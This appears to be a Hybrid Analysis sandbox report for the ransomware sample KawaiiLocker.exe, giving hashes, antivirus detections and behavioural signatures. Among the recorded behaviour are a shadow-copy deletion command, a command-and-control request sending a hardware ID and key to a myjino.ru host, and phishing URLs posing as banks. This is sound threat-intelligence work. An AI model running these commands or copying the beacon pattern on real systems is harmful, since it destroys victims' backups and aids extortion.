24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 29:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T484,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Ransom Sample d7cbf7c35c70… — Score 53/100 — Hybrid Analysis","description":"Malicious verdict for sample d7cbf7c35c70…. Malware family: Trojan.Ransom. Threat score 53/100. 12/26 AV engines flagged this file. 1 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de","keywords":["Malicious","Trojan.Ransom","malware analysis","sandbox report","threat intelligence","d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de"],"about":{"@type":"SoftwareApplication","name":"KawaiiLocker.exe","applicationCategory":["peexe","executable"],"identifier":"d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de","additionalType":"Malicious sample"},"threatScore":53,"malwareFamily":"Trojan.Ransom","antivirusDetections":{"malicious":12,"total":26},"behavioralIndicators":{"malicious":1,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Ta24,Found API call GetVersion@KERNEL32.DLL (Target: "d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe"; Stream UID: "00024480-00003488-34750-2153-0043B408") which is directly followed by "cmp ax, 0004h" and "jc 0043B5BEh". See related instructions: "... +151 call 00404D54h +156 call 00406C2Ch ;GetVersion +161 and eax, 000000FFh +166 cmp ax, 0004h +170 jc 0043B5BEh" ... at 00024480-00003488-34750-2153-0043B408 Found API call GetVersion@KERNEL32.DLL (Target: "d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe"; Stream UID: "00024480-00003488-34750-2418-0045056C") which is directly followed by "cmp ax, 0004h" and "setnb byte ptr [00465AF8h]". See related instructions: "... +26 call 00406C2Ch ;GetVersion +31 and eax, 000000FFh +36 cmp ax, 0004h +40 setnb byte ptr [00465AF8h]" ... at 00024480-00003488-34750-2418-0045056C Found API call GetVersion@KERNEL32.DLL (Target: "d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe"; Stream UID: "00024480-00003488-43148-2417-0045056C") which is directly followed by "cmp ax, 0004h" and "setnb byte ptr [00465AF8h]". See related instructions: "... +26 call 00406C2Ch ;GetVersion +31 and eax, 000000FFh +36 cmp ax, 0004h +40 setnb byte ptr [00465AF8h]" ... at 00024480-00003488-43148-2417-0045056C Found API call GetVersion@KERNEL32.DLL (Target: "d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe"; Stream UID: "00024480-00003488-43148-2152-0043B408") which is directly followed by "cmp ax, 0004h" and "jc 0043B5BEh". See related instructions: "... +151 call 00404D54h +156 call 00406C2Ch ;GetVersion +161 and eax, 000000FFh +166 cmp ax, 0004h +170 jc 0043B5BEh" ... at 00024480-00003488-43148-2152-0043B408 Found API call GetVersion@KERNEL32.DLL (Target: "d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe"; Stream UID: "00024480-00003488-50611-2152-0043B408") which is directly followed by "cmp ax, 0004h" and "jc 0043B5BEh". See related instructions: "... +151 call 00404D54h +156 call 00406C2Ch ;GetVersion +161 and eax, 000000FFh +166 cmp ax, 0004h +170 jc 0043B5BEh" ... at 00024480-00003488-50611-2152-0043B408 Found API call GetVersion@KERNEL32.DLL (Target: "d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe"; Stream UID: "00024480-00003488-50611-2417-0045056C") which is directly followed by "cmp ax, 0004h" and "setnb byte ptr [00465AF8h]". See related instructions: "... +26 call 00406C2Ch ;GetVersion +31 and eax, 000000FFh +36 cmp ax, 0004h +40 setnb byte ptr [00465AF8h]" ... at 00024480-00003488-50611-2417-0045056C26:T601,Found malicious artifacts related to "81.177.139.161" (ASN: 8342, Owner: OJSC RTComm.RU): ... URL: http://avitop.ru/ (AV positives: 2/68 scanned on 09/04/2016 08:34:35) URL: http://wellsfargo270.myjino.ru/wellsfargo2016/step2.php?cmd=login_submit&id=c1146c71314ae64727de3c60c1792f63c1146c71314ae64727de3c60c1792f63&session=c1146c71314ae64727de3c60c1792f63c1146c71314ae64727de3c60c1792f63 (AV positives: 10/68 scanned on 09/04/2016 07:51:46) URL: http://87655890paypalse.myjino.ru/payus/81f20f81e5eeaaebbdb17d37c3971ac2 (AV positives: 8/68 scanned on 09/04/2016 07:48:16) URL: http://87655890paypalse.myjino.ru/payus/4f376ee1a9e36c03f525faa930763876/Information2.html (AV positives: 9/68 scanned on 09/04/2016 07:44:28) URL: http://secureboaserver.myjino.ru/secureboa/secureboa/signOnScreen.bankofamerica.com/SiteKeymaint.php (AV positives: 9/68 scanned on 09/04/2016 07:43:55) File SHA256: b9d5d42b3c68908d326d278d4c03a932754f3dbea903d1b042b4c9900a2ec7a9 (AV positives: 26/54 scanned on 07/26/2016 03:15:46) File SHA256: dbb9dad211b111586b0dd64c103859c1d9e6c201c21c41200beaf4d293fb9f29 (AV positives: 1/55 scanned on 07/21/2016 16:21:44) File SHA256: 906b7bf7361b7fc7589b4263ce6bf1915610f6a0b9df9b2eb5f07a554d07dc44 (AV positives: 41/55 scanned on 06/30/2016 20:01:16) File SHA256: 886d3c4edfa6d1f6a0c7dbd4b5f78f178dece07ded2af30707f5cbed28b7d889 (AV positives: 3/57 scanned on 06/28/2016 06:46:22) File SHA256: b76ca025c9ec411238177fdbbc2a46d789f2cc56c996419c532d8d3c6d4f724c (AV positives: 3/56 scanned on 06/26/2016 11:16:16)27:T608,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQaSURBVFhH7VdLV1NXGPV/OadWWxV5KPiMaItdC5eCCBR0QULegRgDWCQYwiMEQkBqayu1U1uIHTjSkc7oBEhyc1954O537s3jAjdN0C6YNGvtdZJzc8+3v/09zjlHjvz/OWwFrE43+vptB4p+iwPktwqLzYF379fx5u0Hwvv/FN92epT1do/M4QIBq30Qf6xGPwura6+xFv0La69VrNL3P2mOQW/tHQRMZgeSgoR0SkZKlj4B6nuyDnavx2yIqYwS7oICJrNdmTxI7CGQyWYVAisrr/Dy9zcVYeW3V8hm0gqi0agu8gocvTEBBvZbV4FsjgAzXtOzgNp7YdT1zqPeOIez5hDOWUNodAbRODCDC54pXPROKiT/Xl9HShLKhm1fBK7YlmFwPIXBuYSmwUVc80Rw3buAb0bm0Tw6hxu+EL7zz2oI8J+nAIvHtkaBFu/PaBn+CTcfPcOtxwTfMlr9T9EWWMKd6UW0ByPomAsXCKQlPpeEojpK6qgFU6DKNKwfAkaAF9XYMFk7xl+gy/8rugK/oHv6OW6T8Zv+MJrHg7g65ofBN46mCV+RgCiUVYAZP/3IWZoAx4sFAsbgS9yfeYGmoRBO2sbwhWUIXzoe4sSAB189cOOkdwCnR5waAjkFyHOlFNm4SwVmvHGmtzICrU9+xAnzKKr6h3HM5sVxJxkffICvHw7i1LBL8eTMY7uGQLKsAsx48/OW0gSSGgWqjCOq13YyXvCajI+4UP2DA2fGbKh9YtmRA7IsQ6JQlGpkzPi/ExCKIThmzUnOvPaQ5EMkOXldPWpHjc+KOr8ZZwOmYhWI5augAgLFJDzuoli7NZIzr0ny2nEr6if6cW7SiAaStNAHBH5fbXxPI2JVwPaCfBVoE6161IEakryOJK8PkPGpPkqm+7gQ6tlXH9CGpiwBbaLV5iWfNKFhuhfng/dwca4bl8OdOwikchVQyWZWloA20RTJp4yq17M9uDT/PS4vdMKw2F4gIFEOsATUa0BsTqRnHMchHo8jEY/t3Qt2h0CbaA3TfeQ1k7wbl8JduBLpwNWldjQttxUIyGLpMpQlCi0RTCTiiMViiMe2ShDQdEJtop2fZZKT1yS5IXKXjN/BteVWXH92S0OA0/U+35YFSlLm+ebmJra2NvUJCKJ6UJicWqxoK2YVMBGIKLuhRAZKbccCzyPJJcjwlkqAoJsDiaRaBWxvZ4vuB0KyqACLOcsHnk+Co3kWd+b1xsaGgpIEYpwEdibAdgppmQeQBrI0lxKQIWBbprmPhG0C/Y89RwofM2qS5fu/JIrgSZEkGefI8zjFnsU/D6aGrgKMwKEdydgZvafP/Mn3AhO9b7G7YHe5YXW4YbY6YSxzz7jddrd4KC2cTvMXhYMfczeUgzecV+GwL4eHbP8fuv0VoZ+XlYMAAAAASUVORK5CYII=28:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":53,"unified_at_epoch_ms":1790444622067,"unified_at":"2026-09-26T17:43:42.067Z","metadata":{"hashes":{"sha256":"d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de","sha1":"8b54db5df8bfeef8b96314ac1d66537f7ba4065d","md5":"ffdded13a21ff8eeba9ccc815ee7d448","sha512":"7da4e09227a6210928e40b080324fc3bec3ae108984112a500b94d54030dce03b3e89bbb068775667fed371af676379baad28538ccf71b7b857aa516a9a52524","ssdeep":"6144:6uU6G2yg5rMZbVl24k4BeE9egvMRgbw3S51MAdmERAIo6qqDLupIh:Y6G2yg5rOVl2gjMOUgmbIoPqnup","ssdeep_chunks":["6144:6uU6G2y","6144:uU6G2yg","6144:U6G2yg5","6144:6G2yg5r","6144:G2yg5rM","6144:2yg5rMZ","6144:yg5rMZb","6144:g5rMZbV","6144:5rMZbVl","6144:rMZbVl2","6144:MZbVl24","6144:ZbVl24k","6144:bVl24k4","6144:Vl24k4B","6144:l24k4Be","6144:24k4BeE","6144:4k4BeE9","6144:k4BeE9e","6144:4BeE9eg","6144:BeE9egv","6144:eE9egvM","6144:E9egvMR","6144:9egvMRg","6144:egvMRgb","6144:gvMRgbw","6144:vMRgbw3","6144:MRgbw3S","6144:Rgbw3S5","6144:gbw3S51","6144:bw3S51M","6144:w3S51MA","6144:3S51MAd","6144:S51MAdm","6144:51MAdmE","6144:1MAdmER","6144:MAdmERA","6144:AdmERAI","6144:dmERAIo","6144:mERAIo6","6144:ERAIo6q","6144:RAIo6qq","6144:AIo6qqD","6144:Io6qqDL","6144:o6qqDLu","6144:6qqDLup","6144:qqDLupI","6144:qDLupIh","12288:6uU6G2y","12288:uU6G2yg","12288:U6G2yg5","12288:6G2yg5r","12288:G2yg5rM","12288:2yg5rMZ","12288:yg5rMZb","12288:g5rMZbV","12288:5rMZbVl","12288:rMZbVl2","12288:MZbVl24","12288:ZbVl24k","12288:bVl24k4","12288:Vl24k4B","12288:l24k4Be","12288:24k4BeE","12288:4k4BeE9","12288:k4BeE9e","12288:4BeE9eg","12288:BeE9egv","12288:eE9egvM","12288:E9egvMR","12288:9egvMRg","12288:egvMRgb","12288:gvMRgbw","12288:vMRgbw3","12288:MRgbw3S","12288:Rgbw3S5","12288:gbw3S51","12288:bw3S51M","12288:w3S51MA","12288:3S51MAd","12288:S51MAdm","12288:51MAdmE","12288:1MAdmER","12288:MAdmERA","12288:AdmERAI","12288:dmERAIo","12288:mERAIo6","12288:ERAIo6q","12288:RAIo6qq","12288:AIo6qqD","12288:Io6qqDL","12288:o6qqDLu","12288:6qqDLup","12288:qqDLupI","12288:qDLupIh","6144:Y6G2yg5","6144:G2yg5rO","6144:2yg5rOV","6144:yg5rOVl","6144:g5rOVl2","6144:5rOVl2g","6144:rOVl2gj","6144:OVl2gjM","6144:Vl2gjMO","6144:l2gjMOU","6144:2gjMOUg","6144:gjMOUgm","6144:jMOUgmb","6144:MOUgmbI","6144:OUgmbIo","6144:UgmbIoP","6144:gmbIoPq","6144:mbIoPqn","6144:bIoPqnu","6144:IoPqnup"],"imphash":"81999f8f4ba7439cc77b3d6b1e3d04cb"},"file_info":{"file_name":"KawaiiLocker.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":455168,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499292166000,"last_seen":1713403635000,"last_multi_scan":1713403635000}},"detections":{"summary":{"verdict":"malicious","score":53,"tags":null},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":19,"suspicious_count":15,"malicious_count":1,"total":35},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win32.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.AGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Agent.nzfq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Ransom.AZZ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bkavpro":{"name":"Bkav Pro","success":true,"verdict":"malicious","threat_name":"W32.Malware.997C71FB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Ransom.AZZ (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Ransom/Satan.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.emkzwh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Backdoor.PePatch.Win32.101589","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Ransom","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API FlatSB_GetScrollRange@COMCTL32.DLL at 00024480-00003488-34750-4292-004276F0\n Found reference to API ImageList_WriteEx@COMCTL32.DLL at 00024480-00003488-34750-2138-0043986C\n Found reference to API FlatSB_SetScrollInfo@COMCTL32.DLL at 00024480-00003488-34750-2980-004277B8\n Found reference to API ImageList_WriteEx@COMCTL32.DLL at 00024480-00003488-43148-2137-0043986C\n Found reference to API FlatSB_GetScrollRange@COMCTL32.DLL at 00024480-00003488-43148-4291-004276F0\n Found reference to API FlatSB_SetScrollInfo@COMCTL32.DLL at 00024480-00003488-43148-2979-004277B8\n Found reference to API ImageList_WriteEx@COMCTL32.DLL at 00024480-00003488-50611-2137-0043986C\n Found reference to API FlatSB_GetScrollRange@COMCTL32.DLL at 00024480-00003488-50611-4291-004276F0\n Found reference to API FlatSB_SetScrollInfo@COMCTL32.DLL at 00024480-00003488-50611-2979-004277B8","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00024480-00003488-34750-1127-0040A3B0\n GetLocalTime@KERNEL32.DLL at 00024480-00003488-43148-1126-0040A3B0\n GetLocalTime@KERNEL32.DLL at 00024480-00003488-50611-1126-0040A3B0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00024480-00003488-34750-1157-0040C870\n GetVersion@KERNEL32.DLL at 00024480-00003488-34750-2153-0043B408\n GetVersion@KERNEL32.DLL at 00024480-00003488-34750-2418-0045056C\n GetVersionExA@KERNEL32.DLL at 00024480-00003488-43148-1156-0040C870\n GetVersion@KERNEL32.DLL at 00024480-00003488-43148-2417-0045056C\n GetVersion@KERNEL32.DLL at 00024480-00003488-43148-2152-0043B408\n GetVersionExA@KERNEL32.DLL at 00024480-00003488-50611-1156-0040C870\n GetVersion@KERNEL32.DLL at 00024480-00003488-50611-2152-0043B408\n GetVersion@KERNEL32.DLL at 00024480-00003488-50611-2417-0045056C","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00024480-00003488-34750-1113-0040904C\n GetDiskFreeSpaceA@KERNEL32.DLL at 00024480-00003488-43148-1112-0040904C\n GetDiskFreeSpaceA@KERNEL32.DLL at 00024480-00003488-50611-1112-0040904C","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"$25","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"\" queries volume information of \"C:\\\" at 00024480-00003488-0000010C-57232984","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"\" queries volume information of \"C:\\\" at 00024480-00003488-0000010C-57232984","origin":"API Call","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"7476357288-0.myjino.ru\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"81.177.139.161:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET //lol.php?start&hwid=C2868198&key=9654270869287135 HTTP/1.0\nHost: 7476357288-0.myjino.ru\nKeep-Alive: 300\nConnection: keep-alive\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"vssadmin delete shadows /for=C:\\/all\" on 2016-9-4.08:07:00.690","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"vssadmin delete shadows /for=C:\\/all\" (UID: 00025346-00003216)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"add_reviewer.gif\" has type \"data\"\n \"review_email.gif\" has type \"data\"\n \"reviews_sent.gif\" has type \"data\"\n \"server_issue.gif\" has type \"data\"\n \"StandardBusiness.pdf\" has type \"data\"\n \"turnOnNotificationInAcrobat.gif\" has type \"data\"\n \"review_shared.gif\" has type \"data\"\n \"reviews_super.gif\" has type \"data\"\n \"AdobeID.pdf\" has type \"data\"\n \"form_responses.gif\" has type \"data\"\n \"forms_received.gif\" has type \"data\"\n \"review_browser.gif\" has type \"data\"\n \"reviews_joined.gif\" has type \"data\"\n \"Worksheet.xls\" has type \"data\"\n \"sampleAVI.avi\" has type \"data\"\n \"SignHere.pdf\" has type \"data\"\n \"Torus.png\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Fonts\\staticcache.dat\"\n \"\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"\" touched file \"%WINDIR%\\system32\\OLEACCRC.DLL\"\n \"\" touched file \"%WINDIR%\\System32\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db\"\n \"\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db\"\n \"\" touched file \"%WINDIR%\\System32\\cmd.exe\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"decrypt2016@yahoo.com\"\n Heuristic match: \".mobi\"\n Heuristic match: \"7476357288-0.myjino.ru\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"57cc3538aac2edc17a24c614"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"d7cbf7c35c703235788f854ff7997c0207104bbb6170a6ed4435dc9b426f78de.exe.bin\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably","origin":"Static 